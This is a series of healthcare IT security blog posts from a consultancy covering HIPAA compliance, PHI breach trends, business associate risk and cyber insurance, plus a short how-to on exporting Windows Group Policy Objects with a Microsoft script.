•

Healthcare IT Security – The "Not So Big Easy"

Posted on April 4, 2013 by Dan Berger in Main | Leave a comment

HIMSS, the healthcare industry’s standard bearer for the promotion of information technology (IT), held its 13th annual conference in New Orleans last month. Nearly 35,000 people attended the event including former president Bill Clinton, fellow politicos James Carville and Karl Rove, and bow-tied Dr. Farzad Mostashari, HHS’s National Coordinator for Health Information Technology.

Interoperability and exchange were the hot topics of the week, further jazzed by the recently announced CommonWell Health Alliance – a 6-party partnership between Cerner, McKesson, Allscripts, athenahealth, Greenway Medical Technologies and RelayHealth. Notably absent from the Gang of 6 is Epic, the undisputed EHR market heavyweight. Depending on who you ask, Epic was either not invited to join CommonWell or chose not to participate. Epic’s CEO, Judy Faulkner, said that the alliance is less about interoperability and more about competition. “It appears on the surface to be used as a competitive weapon and that’s just wrong. It’s wrong for the country.” When asked to referee, ONC’s Dr. Mostashari said he didn’t want to get into a “he-said, she-said.” The dust-up made the Karl Rove – James Carville debate look tame by comparison.

While interoperability and exchange are important topics, I would have liked to see more focus on PHI privacy and security. At the HIMSS Update on the federal government’s Health Information Privacy Enforcement and Audit Program, David Holtzman of OCR reported some surprise that 60% of the findings from the115 pilot program audits related to security issues. It really shouldn’t be that surprising given that 556 breaches affecting 21.7 million individuals have been reported over the past 3 years.

As we’ve said many times, compliance is necessary but not sufficient. The abysmal track record in PHI breaches is a direct result of a lack of focus on effective IT security measures and a dearth of qualified security experts in the industry. OCR’s audit program created more anxiety than action. As a result, compliance consultants wrote white papers, conducted webinars, and even led HIMSS sessions on “How to Prepare for an OCR Audit.” We don’t blame them – it is what they know. But for real world, practical advice on combating IT security threats, I cordially invite you to Redspin’s upcoming webinar. More information and registration link here: http://www.healthcareinfosecurity.com/webinars.php?webinarID=326&rf=Redspin_042013

A few months ago, IDC identified the major challenges facing HIE vendors. High on the list were “privacy and security risks that worry providers as more patient information is transferred from paper charts to electronic health records and made accessible both inside and outside the organization via HIEs and mobile devices.”Achieving EHR interoperability and facilitating exchange though HIEs, alliances, or both, will introduce even more risk of breach. We need to get our EHR houses in order first. Unlike the financial industry, healthcare does not have a uniform transaction model. The industry is at best a multi-tenant model with diverse information needs, at worst a multi-headed hydra. Overlay varying levels of privacy and confidentiality; make the whole system interoperable and interconnected and the task gets even infinitesimally harder.

At HIMSS14, forget Rove-Carville. Let’s have a debate about CommonWell Health Alliance’s comprehensive security strategy.

 

The Executive Order on Cybersecurity – What Does It Mean for Healthcare?

Posted on March 5, 2013 by Christopher Campbell in Main | Leave a comment

The much anticipated executive order titled “Improving Critical Infrastructure Cybersecurity” was recently unveiled by the White House. As much praise as the President’s order garnered, there are still many unknowns about how the order impacts not just healthcare but all major industries in the United States. In the era of HIPAA, HITECH, SOX and another dozen regulatory security compliance acronyms how should the order be regarded? Potential, nothing more.

To understand what the executive order means and doesn’t mean we have to break it down into its two primary components: information sharing and security framework. Of these two the information-sharing piece is the one that could yield real benefit in the present. This section requires the federal government to report cyber security threats to private industry in a timely manner, if these threats are labeled as unclassified. The value of this kind of knowledge to a company in the crosshairs is enormous. However, the classification is a big IF so don’t expect your friendly neighborhood federal agent to routinely call you every time there is a threat on the horizon.

The meat-and-potatoes of the order is the government requirement for The National Institute of Standards and Technology (NIST) to work with industry leaders on development of a common cybersecurity framework. The spirit and intent is applauded but really this is too little too late.

The healthcare and financial industries in the United States have arguably taken a more forward-looking stance on cybersecurity in recent years due to the inherent steep risks of operating with such highly sensitive and valuable data. The security controls outlined within SOX, GLBA, PCI and FFIEC already provide financial institutions with a commonly accepted, albeit overlapping, set of general practices for security controls. HIPAA, the much-delayed Omnibus Rule and the increasing number of state laws provide the same guidelines for healthcare, despite the vagueness of certain elements. If the intent of any new collaborative framework with NIST was a condensation and uniformity of multiple rule sets then we should welcome it with open arms… however there is no indication of that being the case.

An additional anticipated effect of any new adopted framework is an increase in the insurance and liability requirements of business associates. The HIPAA Omnibus Rule already extends the civil liabilities of vendors for PHI-related breaches. However, any new government-sponsored framework may have a trickle-down effect to the insurance industry, resulting in healthcare business associates strengthening their own security practices in order to minimize increased insurance costs related to coverage for security events. The result being – in theory – that the larger healthcare entities should no longer have to be the only ones playing the “bad cop” for enforcement of stringent security and contractual requirements upon business associates. Any way you look at it, there will be an increase in insurance costs for all parties involved and that money will have to be taken away from something else.

Issuing an executive order and talking about a government-adopted framework is not protecting a single patient record right now. Breaches happen and will continue to occur due to the constant change in technology, sophistication of attacks and inconsistent security training and implementation. That being said, the experience and expertise of executives, officers and consultants that are part of this industry are a voice that must be heard be included in the  development process. Whether or not there is anything of substance that results from the NIST collaboration, those of us on the forefront of security should raise our hands and speak our piece. In other words, talk through the process but recognize it’s only talk and not an active protection mechanism for your organization’s data.

Did You Miss the HIPAA Omnibus?

Posted on February 4, 2013 by Dan Berger in Main | 1 Comment

On January 17, 2013, the long-awaited HHS HIPAA Omnibus Rule was posted on the Federal Register and has been the subject of much fanfare in the press.  According to HHS Secretary Kathleen Sebelius; “the new rule will help protect patient privacy and safeguard patient’s health information in an ever-expanding digital age.” Leon Rodriguez, Director of HHS’ Office of Civil Rights (OCR), described the Omnibus rule-making as “the most sweeping changes to the HIPAA Privacy and Security Rules since they were first implemented.”

True. But remember, while the rule does consist of “sweeping changes,” not many of those changes should be a surprise to anyone. The 563-page document is primarily a codification of changes to the HIPAA security and privacy rules as mandated by the 2009 HITECH Act. For the past 3+ years, many in the government and in the healthcare industry have been operating under the “spirit of the law” and abiding by several interim rules that laid out the protections and safeguards envisioned in HITECH.

Good for them. But that does not excuse the long delay in finalizing the privacy and security provisions contained in HITECH, nor the many times deadlines were missed as promised Final Rule publication dates came and went. Without the final Omnibus Rule in place, confusion and uncertainty was common, particularly among covered entities and business associates in regard to their responsibilities for safeguarding protected health information (PHI).

Consider that under HITECH, direct civil liability for PHI breach was to be extended to business associates and their sub-contractors. This indeed is a “sweeping change” (albeit one formulated in 2009) and a change that has been sorely needed.  From September 2009 through the end of 2012, business associates were involved in 56.6% of a large PHI breaches (defined as those affecting 500 or more individuals).

From 2009-2012, did covered entities and business associates clearly understand each other’s responsibilities for protecting PHI under HIPAA and/or HITECH? For an issue as important as safeguarding patient’s health information, shouldn’t this have been made a high priority? When asked by HealthInfoSecurity.com about the reasons for the protracted delay in the HIPAA Omnibus Rule, Susan McAndrew of the HHS’ Office of Civil Rights said;

“You know I think the important thing is that the rule is about to be published in final form and I think we really need to keep our eyes on the prize and moving forward with the implementation of this rule so that these new rights become a reality for the consumer.”

I agree that we need to move forward. But past is often prologue.  Perhaps the bureaucratic reasons for the long delay in publishing the Omnibus Rule can be swept under the rug. However, I’d suggest that in regard to safeguarding patient’s health information, the importance of the custodian chain between covered entity and business associate has been long overlooked by Washington. Note that not a single Business Associate was included in OCR’s first 120 HIPAA audits either. Sure it’s complicated. But  to the extent the Federal government is going to play an enforcement role, it owes it to the healthcare industry to provide clearer guidance.

Covered entities and Business Associates now have until September 23, 2013 to be in compliance with the HITECH legislation passed in 2009. Over 50% of PHI breaches to date have involved a business associate. Let’s use these next 6 months to tackle this problem head-on. Redspin stands ready to help both covered entities and business associates meet the complexities and challenges of this issue. It will be critical to building patient-consumer confidence in the electronic health record system and in protecting your organization from reputational and financial risk.

Small PHI Breaches, Big Problems

Posted on January 11, 2013 by Dan Berger in Main | Leave a comment

Over the past year, Redspin (along with many others), has reported that breaches of protected health information (PHI) are at epidemic levels. We’ve all based this assertion on quantitative statistics. The Breach Notification Rule requires that healthcare providers report “large” PHI breaches (defined as those affecting >500 records) to HHS which then publishes those details on its website, the so-called “Wall of Shame.” Numerous presentations, news articles, blog posts, and tweets have reported on the most egregious offenses and the alarming aggregate – 525 breaches involving $21.4 million patient records over the past 3 years.

However, “smaller” breaches (<500 records) must also be reported to HHS on an annual basis. Over this same 3 year period, approximately 60,500 of these smaller breaches have been disclosed. Although they are not posted publicly, they are not immune from the federal government’s HIPAA enforcement arm.  Earlier this month, the HHS Office for Civil Rights (OCR)  reached a $50,000 settlement agreement with Hospice of North Idaho pertaining to the loss of a laptop computer that contained the records of 441 patients in 2010.

The punitive action was intended to send a strong message. Whether the breach itself is big or small, the potential for personal harm as a result of a PHI data breach of a single record is staggering. To date, discussions regarding the fall-out from these incidents has centered on the financial implications such as identity theft, medical insurance fraud, etc.  But the risk is much greater than that. Electronic medical records not only store personally-identifiable information but also personally sensitive information such diagnoses, treatment plans, prescription info, complete medical histories. Individuals have every right to expect that this information remains private and confidential, indeed that right is protected by law.  Further, when doctors, nurses, emergency rooms need to rely on the integrity and availability of EMR’s to determine ongoing treatment – the risks caused by data breach can literally create life or death situations.

Yet as more and more medical records are converted and stored electronically – and become accessible over more and more networks – they are present lucrative targets for hackers. It is simply not enough for healthcare providers to maintain compliance with government privacy and security regulations. Nor is it acceptable to do just a HIPAA security risk analysis every other year. Covered entities need to invest the time, effort and resources to make IT security an organizational imperative with a dedicated and sustained IT security program.

Redspin’s specific recommendations now include “continuous vulnerability scanning and remediation.” Real vulnerability management is a continuous process of testing, remediation, and re-testing. This allows organizations to regularly monitor which previous vulnerabilities have been fixed, which ones have not, and what new issues may have been introduced. Redspin now offers a cloud-based, SaaS service which reports these results automatically at periodic intervals via a web-based portal.

Lastly, there are organizational issues that often present as much or more risk than technical vulnerabilities. First, it is essential that a security “chain of command” exist in each healthcare provider with on a single senior level executive owning the overall responsibility for IT security. We also believe that regular reports on IT security should be given at the Board level. Another often overlooked area is IT security awareness training for all employees. Given that a large percentage of PHI data breaches to date can be traced to human error, it is the organization’s responsibility not simply to enforce policies but to proactively train their workforce.

 

The ROI of Business Associate Security Risk Management

Posted on November 28, 2012 by Dan Berger in Main | Leave a comment

I recently presented the case for covered entities to be more proactive in regard to their business associate’s IT security posture. The audience included over 50 healthcare CISOs. Most of them agreed that the risk of PHI breach among their business associates was “an unknown,” or “very hard to measure” or even “likely to be very high.”

After my talk, one CISO said to me “My organization has dozens of business associates. What is the ROI of conducting a risk analysis on our exposure in relation to them?” This is the essence of the issue. Put another way, how does a covered entity justify spending time, money, and resources on evaluating its third-party vendors IT security?

First, let’s establish some facts. This is no small problem. From September 2009 to the end of 2011, 59% of all large breaches involved a business associate. Large breaches are defined under the Breach Rule as those affecting 500 or more patient records and some of more egregious single incidents involved hundreds of thousands and even millions of individuals.

HIPAA regulations require a covered entity (CE) to have business associate agreements (BAAs) in place before they disclose any protected health information. So, right off the bat, I can tell you one thing – as a covered entity, if one of your business associates has a PHI data breach and you did not have a BAA in place, the legal and financial consequences will be very severe. Even with a BAA, you are likely to feel some pain but at least you won’t be accused of “willful neglect.”

Second, it should be obvious that maintaining all business associate agreements in a centralized location is good business practice. If, and more likely, when a business associate reports a PHI data breach, you shouldn’t have to scramble just to find a copy of their contract. Yet, a surprising number of hospitals don’t do this, particularly if different functional groups or business units within the covered entity have the autonomy to sign their own vendor contracts. This is often another point of lax oversight in and of itself – if different groups can sign vendor agreements, who then determines whether a BAA should be required as opposed to some other type of contract?

Third, covered entities should use the BAA as an opportunity to set specific ground rules and conditions for establishing who investigates the cause of the breach and who bears the costs of the investigation and response. Having these provisions specified and agreed upon beforehand can save an enormous amount of time, money, and aggravation. I’d call that ROI.

Lastly, the OCR has been empowered to enforce HIPAA through resolution agreements and civil monetary penalties. These penalties can run as high as $1.5 million in any calendar year – a high cost under any circumstances and particularly painful if the breach actually resulted from poor IT security at a business associate.

But it’s not just the costs of investigations, brand damage, and financial penalties that justify proactive business associate risk management. There are also the costs (often hidden) of the operational disruption to your organization. By their very nature, business associates perform significant functions for a covered entity including claims processing, administration, data analysis, billing, benefits management, etc. Immediately following a report of a BA breach, the CE is forbidden from continuing to disclose PHI to the BA until the issue has been investigated and resolved. This may mean transferring the particular function performed by that BA to another partner or temporarily bringing it in-house.

Redspin now offers a Business Associate Risk Analysis service that helps hospitals and other covered entities understand where their highest BA risk lies so that they can take preventive measures and/or implement contingency plans to mitigate that risk. Here are some of the areas that our expert security and compliance analysts guide you through:

  • Is there a central repository of all BA agreements?
  • Are they updated? Is there a master schedule for renewals?
  • How critical is the BA to the CE? Are there operational contingencies should the BA no longer be able to perform their service? Risk to the operational disruption should always be a factor.
  • Are BAs prioritized by the amount of PHI data that is typically stored, transmitted, or in use by that BA? PHI data sets vary in quantity, scope, and depth, and thus some present a greater degree of risk than others.
  • Has the BA provided any evidence of IT security protections, testing, audits, etc.?

And here’s an example of one of the sections from our assessment report:

Vendor Risk Score

Safeguarding PHI data is an important responsibility and all relevant parties must take their stewardship seriously. The HITECH Act raised the stakes for business associates by directly requiring them to be HIPAA compliant. Direct civil liability and penalties will also be levied directly on offending BAs in 2013. Redspin’s Business Associate IT Security Risk Assessment is an effective, mutually-beneficial process that will enable more fruitful discussions between CEs and BAs, and ultimately result in lower risk for both parties.

 

Why PHI Data Security is a Form of Asset Management

Posted on September 20, 2012 by Dan Berger in Main | Leave a comment

Asset management is broadly defined as any system that monitors and maintains things of value to an entity or group. In regard to safeguarding the security of electronic health records, we often think of it as a custodial responsibility. Healthcare providers safeguard PHI primarily so that the patient confidentiality is not breached. But in fact, that information is also an asset, something of great value to the provider. Three news items regarding recent healthcare data breaches make this abundantly clear:

In July, hackers infiltrated a server that stored electronic health records at The Surgeons of Lake County, a medical facility in Libertyville, IL. Rather than operating in a clandestine manner and attempting to sell the PHI on the black market, these hackers privately encrypted the PHI on the server. This prevented legitimate users from accessing patient data. They then demanded ransom in exchange for providing the password to unlock the data.

Last month, the FBI arrested a former employee of Florida Hospital Celebration, charging him with accessing 760,000 emergency department records from several hospitals over the past two years (primarily from automobile accidents) and selling them to chiropractors and attorneys.

Also in July, a laptop computer containing Cancer Care Group’s computer server back-up media was stolen from an employee’s locked car. The Indianapolis-based firm reported that the breach may have exposed the PHI of up to 55,000 individuals, including its own employees.

In the first example, the hackers attempted to extort money from the physicians by blocking access to assets (PHI) and then holding it for ransom. Frighteningly, just as in cases of kidnapping, the assets had an arbitrary value based more on the ability of the targeted group to pay than on the replacement value of the asset. It was not only that the information once released “in the wild” could never truly be recovered, but also that patients’ lives could have been put at stake. The case at Florida Hospital Celebration (as charged) is the criminal theft of an information asset and it rose to the level of an FBI investigation! The asset had value (by virtue of the fact chiropractors and attorneys were willing to pay money for the info) and the perpetrator was motivated to steal so that he could profit personally from the theft.

At Cancer Care Group, the organization was not sure whether the portable media was stolen for its contents or just for the device itself. Nonetheless, it contained a goldmine of demographic data that could be used for identity theft and/or fraud: names, addresses, dates of birth, Social Security numbers for both parties. as well as medical and insurance information for patients and beneficiary.

Regardless of the motivation of the thief, the value of this asset to Cancer Care Group can be expressed in what it will cost the organization in incident response and remediation. From blackmail to pawning PHI online to physical device theft, these examples all illustrate that the security of PHI has risen to a standard of protection that organizations would implement and impose on any other asset class. As seen above, the value of PHI can be stated in both positive financial and productivity gains (greater efficiency, customer/patient confidence and satisfaction) as well as avoidance of loss (breach penalties, legal costs, restitution, lost business).Yet, most healthcare organizations have not yet embraced the concept of PHI security as asset protection as fully as they should. The industry needs to move from a reactive mode to a proactive model.

As the migration to electronic health records accelerates, every health provider needs to conduct a security risk analysis and implement precautions and safeguards to eliminate vulnerabilities and lower the probability of costly data breaches. Security awareness needs be expanded throughout the organization and formal PHI governance (as an area of asset protection and risk management) should be an executive and boardroom agenda item. Consider that money in the bank.

Why Preparing for an OCR HIPAA Audit May Lead to a False Sense of Security

Posted on August 6, 2012 by Jenn Miller in Main | Leave a comment

Many healthcare organizations breathed a collective sigh of relief when the Office of Civil Rights (OCR) under the Department of Health and Human Services (HHS) finally made their HIPAA audit protocol publicly available this past June. It can be accessed here. As a refresher, Section 13411 of the 2009 HITECH Act required that HHS “provide for periodic audits to ensure that covered entities and business associates that are subject to the requirements of (HITECH and HIPAA), comply with such requirements.” The protocol was developed under OCR collaboration with “Big 4” consulting firm KPMG.

Uncertainty persisted since late last year when it was announced that OCR/KPMG had completed work on the audit protocols. Indeed, even the first 20 audits were conducted before the protocol was made public. Not knowing what they might be audited for had raised anxiety levels among some covered entities. Many of Redspin’s clients and prospective clients asked us for guidance during the 7 or 8 months prior to the protocol publication. We advised all who asked that if they wanted an early look at the HIPAA security audit protocol, they need only refer back to the HIPAA Security Rule itself. We posted that the federal government, even with KPMG’s potential bias (since they are also conducting the first 115 audits), could not stray very far from a law that had been on the books since 2005.

We were right. Each of the 77 audit areas of performance evaluation that relate to IT security cite Security Rule section numbers and use the exact Security Rule language to describe “Established Performance Criteria.” Years ago, Redspin mapped our own HIPAA Risk Analysis and Security Assessment to the Security Rule so we had a good idea of what to look for in the OCR/KPMG document. (A copy of our crosswalk map is freely downloadable click here to download).

However, there is one very important difference between Redspin’s scope of work and any audit protocol. We’ve always maintained that the HIPAA Security Rule informs our work but we also consider the Rule and any protocols derived thereunder a subset of the work we do. What the HIPAA Security Rule and the OCR audit protocols fail to dictate is the comprehensive security testing that is also required to truly be in compliance.

Redspin’s approach has been instrumental in our success in helping nearly 100 hospitals meet their security requirements under the Stage 1 EHR “Meaningful Use” Incentive Program. Core Measure 14 of Meaningful Use mandates that hospitals conduct a security Risk Analysis in accordance with the requirements under 45 CFR 164.308(a)(1), implement security updates as necessary, and correct security deficiencies identified as part of its risk management process.

Thus, while most people generally associate HIPAA with privacy, the migration to electronic health records has placed the emphasis squarely on security. As Howard Schultz, former White House Cybersecurity Czar has said, “Without security, there is no privacy.”

This shift is vitally important to understand. Most hospitals’ IT staff members do not have the expertise or tools needed to accurately perform a Core Measure 14 Risk Analysis. HIPAA consultants, particularly those who have been in the industry for many years, invariably understand the privacy regulations far better than IT security. Even the auditors empowered by OCR are likely to emphasize privacy and notification policy and procedures while missing the larger threat to safeguarding protected health information (PHI) that may manifest as an erroneous firewall configuration, open port, or default password on a critical system.

Our point is that comprehensive security testing in healthcare organizations is an absolute must. Today’s hospital IT infrastructures are an order of magnitude more complex than they were just two years ago. Electronic health records have raised the stakes for data breach; a simple oversight, an insecure password, a theft of a single portable electronic device – can now impact thousands if not millions of patients and result in a major financial and reputational hit to a healthcare provider.

The HIPAA Security Rule and the OCR/KPMG HIPAA audit protocol provide compliance guidance but ultimately they are just words on paper. Truly safeguarding protected health information means digging in technically with security experts (internally or with outside consultants such as Redspin). IT security itself is a process, not an audit. It involves testing your infrastructure, your systems, your applications, your employees, and your business associates. It is about finding vulnerabilities, implementing remediation plans, validating that the appropriate fixes have been made, and building periodic, repeat IT security testing into your overall risk management program.

 

Official HIPAA Compliance Audit Protocol Published

Posted on July 2, 2012 by Dan Berger in Main | Leave a comment

The Department of Health and Human Services’ Offices for Civil Rights (OCR) have finally published the official protocol and detailed procedures guiding their HIPAA Audit program. The protocol, developed by subcontractor KMPG together with OCR, includes 77 evaluation areas for security and another 88 areas for privacy/breach notification. Here’s a link to the publication which is conveniently keyword searchable. http://ocrnotifications.hhs.gov/hipaa.html

Of particular interest to Redspin is the section dedicated to IT security. As former White House Cybersecurity Czar Howard Schmidt said recently, “Without security, there can be no privacy.” We were pleased, but not surprised, to see that the audit protocol maps directly to the HIPAA Security Rule sections§164.308, §164.310 and §164.312.

For the past several years, we’ve advised our clients that any official HIPAA security audit program would necessarily revert back to existing HIPAA Security Rule provisions “on the books” since 2005. It’s how Redspin designed its own methodology for our HIPAA Security Risk Assessments (click here to download our crosswalk map) and we were 100% confident that our approach would pass muster with any subsequent interpretations.

Further, at the June 7th HIPAA Security Rule conference, Linda Sanchez, Senior Advisor and Health Information Privacy Lead at OCR, reported that the results of the first 20 OCR/KPMG pilot audits showed that security compliance was a far more troublesome area than privacy compliance. More specifically, 74% of the findings were security gaps or breach issues compared to 26% policy violations. Against the backdrop of the transition of the healthcare industry from a paper-based system to electronic health records, Redspin continually stresses that IT security is job one.

OCR concurs. Ms. Sanchez went on to recommend “next steps” that all covered entities should implement not simply as preparation for a potential audit but as best practices. Her first suggestion? Conduct a robust review and assessment. Next? Determine stakeholders – all lines of business that are impacted by HIPAA regulations. Then identify all of the protected health information (PHI) within the organization and map its flow within the organization and to/from business partners.

In conclusion, the audit protocol itself is informative at least in the sense that there are no surprises, but neither does it offer any more explicit guidance than what is in the HIPAA Security Rule. Redspin continues to advise our clients that safeguarding PHI is the primary objective. By conducting a comprehensive security risk analysis and implementing a remediation plan that address the findings in a diligent and timely manner, a covered entity will not only improve its security posture and reduce risk, but will also have nothing to fear from an OCR/KPMG audit.

HIPAA Enforcement Heats Up in the Coldest State

Posted on June 27, 2012 by Dan Berger in Main | Leave a comment

The Health and Human Services (HHS) Office of Civil Rights (OCR) has increased enforcement actions over the past several months, including reaching several breach resolution agreements with covered entities. OCR has also informed an additional 90 organizations of its intent to conduct HIPAA security audits before the end of the year.

None of this is particularly surprising. For almost a year now, OCR has signaled that they intend to take their HIPAA enforcement responsibilities seriously and there certainly have been no shortage of breach incidents for them to investigate. Since the fall of 2009, major PHI data breaches (defined as those affecting 500 records or more) have impacted 20,066,249 individuals.

The June 26th news from HHS http://www.hhs.gov/news/press/2012pres/06/20120626a.html announcing a $1.7 million settlement and resolution agreement with the state of Alaska’s Medicaid agency, shows just how serious OCR is. In the press release OCR Director Leon Rodriguez states

“Covered entities must perform a full and comprehensive risk assessment and have in place meaningful access controls to safeguard hardware and portable devices. This is OCR’s first HIPAA enforcement action against a state agency and we expect organizations to comply with their obligations under these rules regardless of whether they are private or public entities.”

The investigation began when Alaska’s Health and Social Services Department submitted a breach report on October 30th, 2009, reporting the potential breach of electronic protected health information as a result of a USB drive stolen from an employee’s car. This incident occurred shortly after the HITECH Breach Notification Rule first went into effect. To its credit, even though the State agency was not certain the USB drive contained protected health information, it reported the breach and estimated 501 records had possibly been compromised.

But the OCR investigation that followed found that the Alaska department did not have adequate policies and procedures in place to safeguard PHI. It also had not completed a security risk analysis nor implemented sufficient risk management measures. The investigation also concluded that security training was needed for the agency’s employees and more attention needed to be paid to controls on media and other portable devices, including a consideration of encryption of data on such devices.

This is a painful illustration of the both the seriousness of protecting patient health data and the challenges that healthcare organizations face in comprehensively addressing IT security risk. The risks of data breach include both overt threats and the possibility of human error or neglect. Organizations need to comprehensively and regularly conduct risk assessments and then mitigate technical vulnerabilities, other deficiencies, compliance gaps, and inadequate procedures. And then they should do it again. Security is a process, not a one-time project.

The First Step In Cyber Insurance: Know Your Risk And What You’re Insuring Against.

Posted on June 5, 2012 by John Abraham in Main | Leave a comment

Cyber insurance provides an opportunity to address residual risk in your information security program to offset the costs due to a data breach of ePHI. However, individuals polices, coverage and exclusions are highly variable, so just like any security control it’s important to understand your security risk profile before an appropriate security insurance policy can be defined. An assessment, such as a HIPAA Security Risk Analysis should be the first step in any insurance policy strategy. Here’s why:

You’ll have to do one anyway. The most important factor in most enterprise cyber insurance rates is the state of your current security controls and your revenue. So not only is a security risk analysis an essential part of any robust information security program that you should be doing anyway, but this will be a factor in your rates and likely a requirement before you secure a policy.

The safest approach is to avoid a breach in the first place. Most policies will require substantial out-of-pocket expenses to be paid by the insured regardless of your coverage. No insurance can fully replace lost productivity and brand damage due to a breach. A recent study released by Carnegie Mellon University (and others), “An Empirical Analysis of Data Breach Litigation,”notes that “the odds of a settlement are found to be 10 times greater when the breach is caused by a cyber-attack, relative to lost or stolen hardware, and the compromise of medical data increases the probability of settlement by 31%.” Thus, insure against theft but still spend money on locks for your doors!

Your risk profile will enable a better tailored policy. Cyber insurance policy coverage is highly variable and configurable. Policy buyers need to be aware of what is covered and that distinct coverage, limits, and deductibles may apply for individual risk categories. In order to ensure that a policy is tailored for your individual risk profile it’s important to understand where your risk lies. Areas that can be insured typically include regulatory fines and penalties, claims and lawsuits and response costs such as breach notification for affected customers, credit monitoring, forensic analysis, legal fees, and public relations outreach.

Do you really know where your risk is? A key area of risk that a security risk analysis illuminates can be the extent that Business Associates (BA) factor into your overall risk. Our experience is that BAs often pose more risk than might be expected in terms of the amount of ePHI that they access and/or host because their security controls are not always on par with that of the healthcare organization that provided the data despite the Business Associate Agreement that is in place. This is particularly relevant when the BA is a cloud provider. A security risk analysis should clarify the extent of cloud-based and BA risk so that this critical part of the policy can be defined appropriately.

Cyber insurance can prove to be an effective tool for mitigating the fiscal impact of an ePHI data breach. With proper policy review and selection, guided by an informed view of your risk profile, it’s more likely that such a policy can achieve your objectives and be accurately scoped.

 

Exporting GPO’s Via the Commandline

Posted on August 8, 2011 by Mark Marshall in Main | 1 Comment

As security guys (and Linux/GNU fanboys), we tend to do absolutely everything possible via the commandline. This is pretty easy in Linux/Unix OS’s, but unfortunately we deal with a lot of Windows boxen in our line of work, where it is less than easy at times.

One common scenario we need to undertake is exporting all the GPO’s in a certain domain or forest for later analysis. For a small place this isn’t a big deal as there may only be a half dozen or so GPO’s applied, which equals out to several dozen clicks to export them. When the client is upwards of several thousand systems and has many OU’s and Sites defined, it can be common for there to be many hundreds of GPO’s applied. This is fairly standard for large healthcare organizations and hospitals, which we see frequently during HIPAA audits.

Thankfully Microsoft realizes that manually clicking around just doesn’t scale and they’ve provided a fair number of nice little scripts to accomplish menial tasks quickly. One of these tools is a glorious little item called ExportAllGPOs.wsf which is installed when Group Policy Management Console (GPMC) is installed. If you aren’t using GPMC yet to manage your GPO’s then you are needlessly causing yourself much pain and suffering. Go install GPMC now. GPMC runs on all current versions of Windows server and on Windows XP/Vista/7.

Using this script it’s possible to quickly export all GPO’s to HTML and XML. Here’s how:

Navigate to C:\Program Files\GPMC\Scripts. Before running the script create a directory for the output to be saved to, here I’m using c:\gpo. The directory has to exist or the script will fail. You also need to specify the full DNS name of the domain, e.g. mars.local works whereas just using mars will not.

Now run the following command.

cscript GetReportsForAllGPOs.wsf c:\gpo /domain:mars.local

Output from running the command on my dev environment.

C:\Program Files\GPMC\Scripts>cscript GetReportsForAllGPOs.wsf c:\gpo /domain:mars.local
Microsoft (R) Windows Script Host Version 5.6
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.

== Found 3 GPOs in mars.local

Generating XML report for GPO 'Pasture.Rules'
Generating HTML report for GPO 'Pasture.Rules'

Generating XML report for GPO 'Default Domain Policy'
Generating HTML report for GPO 'Default Domain Policy'

Generating XML report for GPO 'Default Domain Controllers Policy'
Generating HTML report for GPO 'Default Domain Controllers Policy'

Report generation succeeded for 6 reports.
Report generation failed for 0 reports.

This will export an HTML and an XML version of each GPO you have defined in your domain. Once they’ve been exported they can be manually viewed, or processed via further tools. I’ve cobbled together a bunch of scripts I use in order to easily parse large amounts of GPO’s and pull out the interesting data I’m looking for.

HIPAA Security Risk Analysis: How to Achieve Both Security and Compliance

Posted on April 26, 2011 by John Abraham in Main | 1 Comment

Lets review different viewpoints driving why healthcare organizations implement a HIPAA Security Risk Analysis. The purpose of exploring these different perspectives is to show that the primary objectives for doing a HIPAA Security Risk Analysis can be categorically defined as either security or compliance – and that both of these objectives can be achieved if a practical approach to the analysis is utilized. Here I use the term security as the goal of safeguarding electronic protected health information (ePHI) and compliance to mean the requirement that healthcare organizations operate consistently with guiding regulatory mandates – HIPAA & HITECH Act.

While many think of security and compliance as the same thing, they are in fact unique, and not identical objectives. For example, it’s very common for organizations to consider themselves compliant with the HIPAA Security Rule, yet to be in a state of high risk of an ePHI data breach. Conversely its also possible for a health IT environment to be quite secure without being compliant. Ultimately healthcare organizations have both security and compliance risk and need to achieve both.

The following examples summarize different viewpoints. In reality most organizations undertaking a HIPAA Security Risk Analysis want to achieve both security and compliance, but there is usually an over-riding primary factor driving the effort. These viewpoints are meant to highlight those dominant factors as they tend to influence the assessment and the eventual value that is derived from the effort.

The compliance view of HIPAA Security Risk Analysis: When the objective is to become “compliant” the assessment tends to come in one of two flavors:

  1. Check the box that says “we did a HIPAA Security Risk Analysis” or
  2. To ensure that all of your IT controls around safeguarding ePHI are “compliant”

In either case, the risk of focusing on compliance is that it becomes a rote effort focused on just getting it done rather than getting to the essence or the intent of the regulation, which is safeguarding protected health information.

The meaningful use view HIPAA Security Risk Analysis: This view, of course, is driven primarily by meeting the HITECH Act’s meaningful use core objectives, so this is somewhat of a corollary to the previous example.  In this case the objective defined by the HITECH Act to meet meaningful use is to protect ePHI created or maintained by the EMR system. CMS defines this core objective as follows:

Objective: Protect electronic health information created or maintained by the certified EHR technology through the implementation of appropriate technical capabilities.

Measure: Conduct or review a security risk analysis in accordance with the requirements under 45 CFR 164.308(a)(1) and implement security updates as necessary and correct identified security deficiencies as part of its risk management process.

The business Associate view of HIPAA Security Risk Analysis: This too is similar to the compliance view. In the case of a business associate (BA), the driver is either:

  1. Be compliant with the HIPAA Security Rule as is now required of BAs by the HITECH Act
  2. The BAs client – the covered entity – is pressuring them to show that they have an effective information security program in place

The security and risk management view of HIPAA Security Risk Analysis: Organizations in this camp are undertaking a security assessment purely for the purpose of identifying risk within the health IT environment to ensure that the ePHI is effectively safeguarded and that IT resources are focused on areas of most importance. This is the pure security perspective.

How to achieve all of these? Focus on the intent of the HIPAA Security Rule. In the case of the meaningful use view, for example,  that means to focus on the “objective” they define (protect ePHI) rather than completely focusing on how they “measure” the achievement of that objective (Conduct or review a security risk analysis in accordance with the requirements under 45 CFR 164.308(a)(1) ). By focusing on the intent of the guidelines defined by the HIPAA Security Rule you won’t be another victim of rote security controls, like the ever common intrusion detection system, which in concept is great, but in practice is often implemented in a way that provides little security.  The HIPAA Security Rule is flexible and the guidelines are defined in such a way to allow interpretation depending on the size, complexity and site-specific characteristics of the healthcare IT environment in question. This allows enough flexibility for most health IT organizations to implement cost effective and practical solutions, whether technical controls or operational procedures that achieve both security and compliance.

Here are a couple of tips to consider when embarking on a HIPAA Security Risk Analysis.

  • Avoid a checkbox approach to audits in which the existence of a controls (true / false) are the defining characteristics of whether a guideline is met or not. This approach fails to identify risk in which controls, such as a firewall, IDS or security policy, exist but are not effective. This approach also yields many recommendations for controls that are often expensive, not practical and can be mitigated by simple and cost-effective work arounds.
